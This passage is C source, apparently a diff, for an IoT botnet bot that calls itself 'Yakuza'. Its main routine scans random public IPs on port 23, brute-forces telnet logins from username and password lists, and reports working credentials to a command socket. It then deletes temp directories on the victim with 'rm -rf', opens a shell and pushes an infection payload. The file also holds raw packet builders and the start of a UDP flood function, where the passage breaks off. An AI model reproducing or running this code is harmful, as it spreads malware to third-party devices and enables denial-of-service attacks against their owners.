"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",+ "zspider/0.9-dev http://feedback.redkolibri.com/",+ "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",+ "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",+ "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",+ "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",+ "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194ABaiduspider+(+http://www.baidu.com/search/spider.htm)",+ "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko",+ "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",+ "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15",+ "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",+ "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",+ "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)",+ "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",+ "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",+ "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",+ "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",+ "Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US",+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",+ "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",+ "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",+ "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",+ "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",+ "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; cn) Opera 11.00",+ "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",+ "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",+ "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.6.01001)",+ "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)",+ "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.5.01003)",+ "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",+ "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8",+ "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",+ "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0",+ "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8",+ "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)",+ "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",+ "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",+ "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",+ "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",+ "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.01",+ "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",+ "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",+ "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",+ "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",+ "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",+ "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",+ "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",+ "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"+};++static uint32_t Q[4096], c = 362436;+void init_rand(uint32_t x) {+ int i;+ Q[0] = x;+ Q[1] = x + PHI;+ Q[2] = x + PHI + PHI;+ for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;+}+uint32_t rand_cmwc(void) {+ uint64_t t, a = 18782LL;+ static uint32_t i = 4095;+ uint32_t x, r = 0xfffffffe;+ i = (i + 1) & 4095;+ t = a * Q[i] + c;+ c = (uint32_t)(t >> 32);+ x = t + c;+ if (x < c) {+ x++;+ c++;+ }+ return (Q[i] = r - x);+}+int contains_string(char* buffer, char** strings) {+ int num_strings = 0, i = 0;+ for(num_strings = 0; strings[++num_strings] != 0; );+ for(i = 0; i < num_strings; i++) {+ if(strcasestr(buffer, strings[i])) {+ return 1;+ }+ }+ return 0;+}+int contains_success(char* buffer) {+ return contains_string(buffer, successes);+}+int contains_fail(char* buffer) {+ return contains_string(buffer, fails);+}+int contains_response(char* buffer) {+ return contains_success(buffer) || contains_fail(buffer);+}+int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {+ fd_set read_set;+ struct timeval tv;+ tv.tv_sec = 0;+ tv.tv_usec = timeout_usec;+ FD_ZERO(&read_set);+ FD_SET(fd, &read_set);+ if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)+ return 0;+ return recv(fd, buffer, buf_size, 0);+}+int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {+ int num_bytes, i;+ memset(buffer, 0, buf_size);+ num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);+ if(buffer[0] == 0xFF) {+ negotiate(fd, buffer, 3);+ }++ if(contains_string(buffer, strings)) {+ return 1;+ }++ return 0;+}+const char* get_telstate_host(struct telstate_t* telstate) { // get host+ struct in_addr in_addr_ip;+ in_addr_ip.s_addr = telstate->ip;+ return inet_ntoa(in_addr_ip);+}+void advance_telstate(struct telstate_t* telstate, int new_state) { // advance+ if(new_state == 0) {+ close(telstate->fd);+ }+ telstate->tTimeout = 0;+ telstate->state = new_state;+ memset((telstate->sockbuf), 0, SOCKBUF_SIZE);+}+void reset_telstate(struct telstate_t* telstate) { // reset+ advance_telstate(telstate, 0);+ telstate->complete = 1;+}+void trim(char *str) {+ int i;+ int begin = 0;+ int end = strlen(str) - 1;++ while (isspace(str[begin])) begin++;++ while ((end >= begin) && isspace(str[end])) end--;+ for (i = begin; i <= end; i++) str[i - begin] = str[i];++ str[i - begin] = '\0';+}+static void printchar(unsigned char **str, int c) {+ if (str) {+ **str = c;+ ++(*str);+ }+ else (void)write(1, &c, 1);+}+static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {+ register int pc = 0, padchar = ' ';+ if (width > 0) {+ register int len = 0;+ register const unsigned char *ptr;+ for (ptr = string; *ptr; ++ptr) ++len;+ if (len >= width) width = 0;+ else width -= len;+ if (pad & PAD_ZERO) padchar = '0';+ }+ if (!(pad & PAD_RIGHT)) {+ for ( ; width > 0; --width) {+ printchar (out, padchar);+ ++pc;+ }+ }+ for ( ; *string ; ++string) {+ printchar (out, *string);+ ++pc;+ }+ for ( ; width > 0; --width) {+ printchar (out, padchar);+ ++pc;+ }+ return pc;+}+static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {+ unsigned char print_buf[PRINT_BUF_LEN];+ register unsigned char *s;+ register int t, neg = 0, pc = 0;+ register unsigned int u = i;+ if (i == 0) {+ print_buf[0] = '0';+ print_buf[1] = '\0';+ return prints (out, print_buf, width, pad);+ }+ if (sg && b == 10 && i < 0) {+ neg = 1;+ u = -i;+ }++ s = print_buf + PRINT_BUF_LEN-1;+ *s = '\0';+ while (u) {+ t = u % b;+ if( t >= 10 )+ t += letbase - '0' - 10;+ *--s = t + '0';+ u /= b;+ }+ if (neg) {+ if( width && (pad & PAD_ZERO) ) {+ printchar (out, '-');+ ++pc;+ --width;+ }+ else {+ *--s = '-';+ }+ }++ return pc + prints (out, s, width, pad);+}+static int print(unsigned char **out, const unsigned char *format, va_list args ) {+ register int width, pad;+ register int pc = 0;+ unsigned char scr[2];+ for (; *format != 0; ++format) {+ if (*format == '%') {+ ++format;+ width = pad = 0;+ if (*format == '\0') break;+ if (*format == '%') goto out;+ if (*format == '-') {+ ++format;+ pad = PAD_RIGHT;+ }+ while (*format == '0') {+ ++format;+ pad |= PAD_ZERO;+ }+ for ( ; *format >= '0' && *format <= '9'; ++format) {+ width *= 10;+ width += *format - '0';+ }+ if( *format == 's' ) {+ register char *s = (char *)va_arg( args, int );+ pc += prints (out, s?s:"(null)", width, pad);+ continue;+ }+ if( *format == 'd' ) {+ pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');+ continue;+ }+ if( *format == 'x' ) {+ pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');+ continue;+ }+ if( *format == 'X' ) {+ pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');+ continue;+ }+ if( *format == 'u' ) {+ pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');+ continue;+ }+ if( *format == 'c' ) {+ scr[0] = (unsigned char)va_arg( args, int );+ scr[1] = '\0';+ pc += prints (out, scr, width, pad);+ continue;+ }+ }+ else {+out:+ printchar (out, *format);+ ++pc;+ }+ }+ if (out) **out = '\0';+ va_end( args );+ return pc;+}+int zprintf(const unsigned char *format, ...) {+ va_list args;+ va_start( args, format );+ return print( 0, format, args );+}+int szprintf(unsigned char *out, const unsigned char *format, ...) {+ va_list args;+ va_start( args, format );+ return print( &out, format, args );+}+int sockprintf(int sock, char *formatStr, ...) {+ unsigned char *textBuffer = malloc(2048);+ memset(textBuffer, 0, 2048);+ char *orig = textBuffer;+ va_list args;+ va_start(args, formatStr);+ print(&textBuffer, formatStr, args);+ va_end(args);+ orig[strlen(orig)] = '\n';+ zprintf("%s\n", orig);+ int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);+ free(orig);+ return q;+}+int wildString(const unsigned char* pattern, const unsigned char* string) {+ switch(*pattern) {+ case '\0': return *string;+ case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));+ case '?': return !(*string && !wildString(pattern+1, string+1));+ default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));+ }+}+int getHost(unsigned char *toGet, struct in_addr *i) {+ struct hostent *h;+ if((i->s_addr = inet_addr(toGet)) == -1) return 1;+ return 0;+}+void makeRandomStr(unsigned char *buf, int length) {+ int i = 0;+ for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;+}+int recvLine(int socket, unsigned char *buf, int bufsize) {+ memset(buf, 0, bufsize);+ fd_set myset;+ struct timeval tv;+ tv.tv_sec = 30;+ tv.tv_usec = 0;+ FD_ZERO(&myset);+ FD_SET(socket, &myset);+ int selectRtn, retryCount;+ if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {+ while(retryCount < 10) {+ tv.tv_sec = 30;+ tv.tv_usec = 0;+ FD_ZERO(&myset);+ FD_SET(socket, &myset);+ if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {+ retryCount++;+ continue;+ }+ break;+ }+ }+ unsigned char tmpchr;+ unsigned char *cp;+ int count = 0;+ cp = buf;+ while(bufsize-- > 1) {+ if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {+ *cp = 0x00;+ return -1;+ }+ *cp++ = tmpchr;+ if(tmpchr == '\n') break;+ count++;+ }+ *cp = 0x00;+ return count;+}+int connectTimeout(int fd, char *host, int port, int timeout) {+ struct sockaddr_in dest_addr;+ fd_set myset;+ struct timeval tv;+ socklen_t lon;+ int valopt;+ long arg = fcntl(fd, F_GETFL, NULL);+ arg |= O_NONBLOCK;+ fcntl(fd, F_SETFL, arg);+ dest_addr.sin_family = AF_INET;+ dest_addr.sin_port = htons(port);+ if(getHost(host, &dest_addr.sin_addr)) return 0;+ memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);+ int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));+ if (res < 0) {+ if (errno == EINPROGRESS) {+ tv.tv_sec = timeout;+ tv.tv_usec = 0;+ FD_ZERO(&myset);+ FD_SET(fd, &myset);+ if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {+ lon = sizeof(int);+ getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);+ if (valopt) return 0;+ }+ else return 0;+ }+ else return 0;+ }+ arg = fcntl(fd, F_GETFL, NULL);+ arg &= (~O_NONBLOCK);+ fcntl(fd, F_SETFL, arg);+ return 1;+}+int listFork() {+ uint32_t parent, *newpids, i;+ parent = fork();+ if (parent <= 0) return parent;+ numpids++;+ newpids = (uint32_t*)malloc((numpids + 1) * 4);+ for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];+ newpids[numpids - 1] = parent;+ free(pids);+ pids = newpids;+ return parent;+}+int negotiate(int sock, unsigned char *buf, int len) {+ unsigned char c;+ switch (buf[1]) {+ case CMD_IAC: return 0;+ case CMD_WILL:+ case CMD_WONT:+ case CMD_DO:+ case CMD_DONT:+ c = CMD_IAC;+ send(sock, &c, 1, MSG_NOSIGNAL);+ if (CMD_WONT == buf[1]) c = CMD_DONT;+ else if (CMD_DONT == buf[1]) c = CMD_WONT;+ else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);+ else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);+ send(sock, &c, 1, MSG_NOSIGNAL);+ send(sock, &(buf[2]), 1, MSG_NOSIGNAL);+ break;+ default:+ break;+ }++ return 0;+}+int matchPrompt(char *bufStr) {+ char *prompts = ":>%$#\0";+ int bufLen = strlen(bufStr);+ int i, q = 0;+ for(i = 0; i < strlen(prompts); i++) {+ while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;+ if(*(bufStr + bufLen - q) == prompts[i]) return 1;+ }+ return 0;+}+in_addr_t getRandomPublicIP() {+ static uint8_t ipState[4] = {0};+ ipState[0] = rand() % 223;+ ipState[1] = rand() % 255;+ ipState[2] = rand() % 255;+ ipState[3] = rand() % 255;+ while(+ (ipState[0] == 0) ||+ (ipState[0] == 10) ||+ (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||+ (ipState[0] == 127) ||+ (ipState[0] == 169 && ipState[1] == 254) ||+ (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||+ (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||+ (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||+ (ipState[0] == 192 && ipState[1] == 168) ||+ (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||+ (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||+ (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||+ (ipState[0] >= 224)+ )+ {+ ipState[0] = rand() % 223;+ ipState[1] = rand() % 255;+ ipState[2] = rand() % 255;+ ipState[3] = rand() % 255;+ }+ char ip[16] = {0};+ szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);+ return inet_addr(ip);+}++in_addr_t TelnetIPRanges()+{+ static uint8_t ipState[4] = {0};+ ipState[0] = rand() % 223;+ ipState[1] = rand() % 255;+ ipState[2] = rand() % 255;+ ipState[3] = rand() % 255;+ while(+ (ipState[0] == 127) || // 127.0.0.0/8 - Loopback+ (ipState[0] == 0) || // 0.0.0.0/8 - Invalid address space+ (ipState[0] == 3) || // 3.0.0.0/8 - General Electric Company+ (ipState[0] == 15 || ipState[0] == 16) || // 15.0.0.0/7 - Hewlett-Packard Company+ (ipState[0] == 56) || // 56.0.0.0/8 - US Postal Service+ (ipState[0] == 10) || // 10.0.0.0/8 - Internal network+ (ipState[0] == 192 && ipState[1] == 168) || // 192.168.0.0/16 - Internal network+ (ipState[0] == 172 && ipState[1] >= 16 && ipState[1] < 32) || // 172.16.0.0/14 - Internal network+ (ipState[0] == 100 && ipState[1] >= 64 && ipState[1] < 127) || // 100.64.0.0/10 - IANA NAT reserved+ (ipState[0] == 169 && ipState[1] > 254) || // 169.254.0.0/16 - IANA NAT reserved+ (ipState[0] == 198 && ipState[1] >= 18 && ipState[1] < 20) || // 198.18.0.0/15 - IANA Special use+ (ipState[0] == 224) || // 224.*.*.*+ - Multicast+ (ipState[0] == 6 || ipState[0] == 7 || ipState[0] == 11 || ipState[0] == 21 || ipState[0] == 22 || ipState[0] == 26 || ipState[0] == 28 || ipState[0] == 29 || ipState[0] == 30 || ipState[0] == 33 || ipState[0] == 55 || ipState[0] == 214 || ipState[0] == 215)+ )+ {+ ipState[0] = rand() % 223;+ ipState[1] = rand() % 255;+ ipState[2] = rand() % 255;+ ipState[3] = rand() % 255;+ }+ char ip[16] = {0};+ szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);+ return inet_addr(ip);+}++in_addr_t getRandomIP(in_addr_t netmask) {+ in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;+ return tmp ^ ( rand_cmwc() & ~netmask);+}+unsigned short csum (unsigned short *buf, int count) {+ register uint64_t sum = 0;+ while( count > 1 ) { sum += *buf++; count -= 2; }+ if(count > 0) { sum += *(unsigned char *)buf; }+ while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }+ return (uint16_t)(~sum);+}+unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {+ struct tcp_pseudo {+ unsigned long src_addr;+ unsigned long dst_addr;+ unsigned char zero;+ unsigned char proto;+ unsigned short length;+ } pseudohead;+ unsigned short total_len = iph->tot_len;+ pseudohead.src_addr=iph->saddr;+ pseudohead.dst_addr=iph->daddr;+ pseudohead.zero=0;+ pseudohead.proto=IPPROTO_TCP;+ pseudohead.length=htons(sizeof(struct tcphdr));+ int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);+ unsigned short *tcp = malloc(totaltcp_len);+ memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));+ memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));+ unsigned short output = csum(tcp,totaltcp_len);+ free(tcp);+ return output;+}+void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {+ iph->ihl = 5;+ iph->version = 4;+ iph->tos = 0;+ iph->tot_len = sizeof(struct iphdr) + packetSize;+ iph->id = rand_cmwc();+ iph->frag_off = 0;+ iph->ttl = MAXTTL;+ iph->protocol = protocol;+ iph->check = 0;+ iph->saddr = source;+ iph->daddr = dest;+}+int sclose(int fd) {+ if(3 > fd) return 1;+ close(fd);+ return 0;+}++void TelnetScanner(int wait_usec, int maxfds)+{+ int max = getdtablesize() - 100, i, res, num_tmps, j;+ char buf[128], cur_dir;+ if (max > maxfds)+ max = maxfds;+ fd_set fdset;+ struct timeval tv;+ socklen_t lon;+ int valopt;+ char line[256];+ char* buffer;+ struct sockaddr_in dest_addr;+ dest_addr.sin_family = AF_INET;+ dest_addr.sin_port = htons(23);+ memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);+ buffer = malloc(SOCKBUF_SIZE + 1);+ memset(buffer, 0, SOCKBUF_SIZE + 1);+ struct telstate_t fds[max];+ memset(fds, 0, max * (sizeof(int) + 1));+ for(i = 0; i < max; i++) {+ memset(&(fds[i]), 0, sizeof(struct telstate_t));+ fds[i].complete = 1;+ fds[i].sockbuf = buffer;+ }+ while(1) {+ for(i = 0; i < max; i++) {+ if(fds[i].tTimeout == 0) {+ fds[i].tTimeout = time(NULL);+ }+ switch(fds[i].state) {+ case 0:+ {+ if(fds[i].complete == 1)+ {++ char *tmp = fds[i].sockbuf;+ memset(&(fds[i]), 0, sizeof(struct telstate_t));+ fds[i].sockbuf = tmp;+++ fds[i].ip = TelnetIPRanges();+ }+ else if(fds[i].complete == 0)+ {+ fds[i].usernameInd++;+ fds[i].passwordInd++;++ if(fds[i].passwordInd == sizeof(tel_passwords) / sizeof(char *))+ {+ fds[i].complete = 1;+ }+ if(fds[i].usernameInd == sizeof(tel_usernames) / sizeof(char *))+ {+ fds[i].complete = 1;+ continue;+ }+ }+ dest_addr.sin_family = AF_INET;+ dest_addr.sin_port = htons(23);+ memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);++ dest_addr.sin_addr.s_addr = fds[i].ip;+ fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);+ if(fds[i].fd == -1) continue;+ fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);++ if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)+ {+ reset_telstate(&fds[i]);+ }+ else+ {+ advance_telstate(&fds[i], 1);+ }+ }+ break;+ case 1:+ {+ FD_ZERO(&fdset);+ FD_SET(fds[i].fd, &fdset);+ tv.tv_sec = 0;+ tv.tv_usec = wait_usec;+ res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);+ if(res == 1)+ {+ fds[i].tTimeout = time(NULL);+ lon = sizeof(int);+ valopt = 0;+ getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);+ if(valopt)+ {+ reset_telstate(&fds[i]);+ }+ else+ {+ fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));+ advance_telstate(&fds[i], 2);+ }+ continue;+ }+ else if(res == -1)+ {+ reset_telstate(&fds[i]);+ continue;+ }+ if(fds[i].tTimeout + 7 < time(NULL))+ {+ reset_telstate(&fds[i]);+ }+ }+ break;+ case 2:+ {+ if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))+ {+ fds[i].tTimeout = time(NULL);+ if(contains_fail(fds[i].sockbuf))+ {+ advance_telstate(&fds[i], 0);+ }+ else+ {+ advance_telstate(&fds[i], 3);+ }+ continue;+ }+ if(fds[i].tTimeout + 7 < time(NULL))+ {+ reset_telstate(&fds[i]);+ }+ }+ break;+ case 3:+ {+ if(send(fds[i].fd, tel_usernames[fds[i].usernameInd], strlen(tel_usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)+ {+ reset_telstate(&fds[i]);+ continue;+ }+ if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)+ {+ reset_telstate(&fds[i]);+ continue;+ }+ advance_telstate(&fds[i], 4);+ }+ break;+ case 4:+ {+ if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))+ {+ fds[i].tTimeout = time(NULL);+ if(contains_fail(fds[i].sockbuf))+ {+ advance_telstate(&fds[i], 0);+ }+ else+ {+ advance_telstate(&fds[i], 5);+ }+ continue;+ }+ if(fds[i].tTimeout + 7 < time(NULL))+ {+ reset_telstate(&fds[i]);+ }+ }+ break;+ case 5:+ {+ if(send(fds[i].fd, tel_passwords[fds[i].passwordInd], strlen(tel_passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)+ {+ reset_telstate(&fds[i]);+ continue;+ }+ if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)+ {+ reset_telstate(&fds[i]);+ continue;+ }+ advance_telstate(&fds[i], 6);+ }+ break;+ case 6:+ {+ if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2)) //waiting for response.+ {+ fds[i].tTimeout = time(NULL);+ if(contains_fail(fds[i].sockbuf))+ {+ advance_telstate(&fds[i], 0);+ }+ else if(contains_success(fds[i].sockbuf))+ {+ if(fds[i].complete == 2)+ {+ advance_telstate(&fds[i], 7);+ }+ else+ {+ sockprintf(mainCommSock, "[ Yakuza ] Result || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), tel_usernames[fds[i].usernameInd], tel_passwords[fds[i].passwordInd]);+ advance_telstate(&fds[i], 7);+ }+ }+ else+ {+ reset_telstate(&fds[i]);+ }+ continue;+ }+ if(fds[i].tTimeout + 7 < time(NULL))+ {+ reset_telstate(&fds[i]);+ }+ }+ break;++ case 7:+ {+ char CleanDevice [80];+ sprintf(CleanDevice, "rm -rf %s;", tempdirs);+ if(send(fds[i].fd, CleanDevice, strlen(CleanDevice), MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]);continue; }+ RemoveTempDirs();+ sockprintf(mainCommSock, "[ Yakuza ] Cleaning Device || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), tel_usernames[fds[i].usernameInd], tel_passwords[fds[i].passwordInd]);++ advance_telstate(&fds[i], 8);+ }+ break;+ case 8:+ {++ fds[i].tTimeout = time(NULL);++ if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0);+ if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0);++ if(send(fds[i].fd, payload, strlen(payload), MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]);continue; }+ sockprintf(mainCommSock, "[ Yakuza ] Infecting || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), tel_usernames[fds[i].usernameInd], tel_passwords[fds[i].passwordInd]);++ //int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)+ if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, "connected"))+ { // if you removed my credits then fuck you. hail scarface.+ //char strcasestr (const char *big, const char *little)+ if(strcasestr(fds[i].sockbuf, "LINKED") && fds[i].complete != 3)+ {+ sockprintf(mainCommSock, "[ Yakuza ] Infection Success || IP: %s: || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), tel_usernames[fds[i].usernameInd], tel_passwords[fds[i].passwordInd]);+ }+ }+ if(fds[i].tTimeout + 45 < time(NULL))+ {+ if(fds[i].complete!=3)+ {+ sockprintf(mainCommSock, "[ Yakuza ] Failed || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), tel_usernames[fds[i].usernameInd], tel_passwords[fds[i].passwordInd]);+ }+ reset_telstate(&fds[i]);+ }+ break;+ }+ }+ }+ }+}+void SendSTD(unsigned char *ip, int port, int secs) {+int iSTD_Sock;+iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);+time_t start = time(NULL);+struct sockaddr_in sin;+struct hostent *hp;+hp = gethostbyname(ip);+bzero((char*) &sin,sizeof(sin));+bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);+sin.sin_family = hp->h_addrtype;+sin.sin_port = port;+unsigned int a = 0;+while(1){+char *randstrings[] = 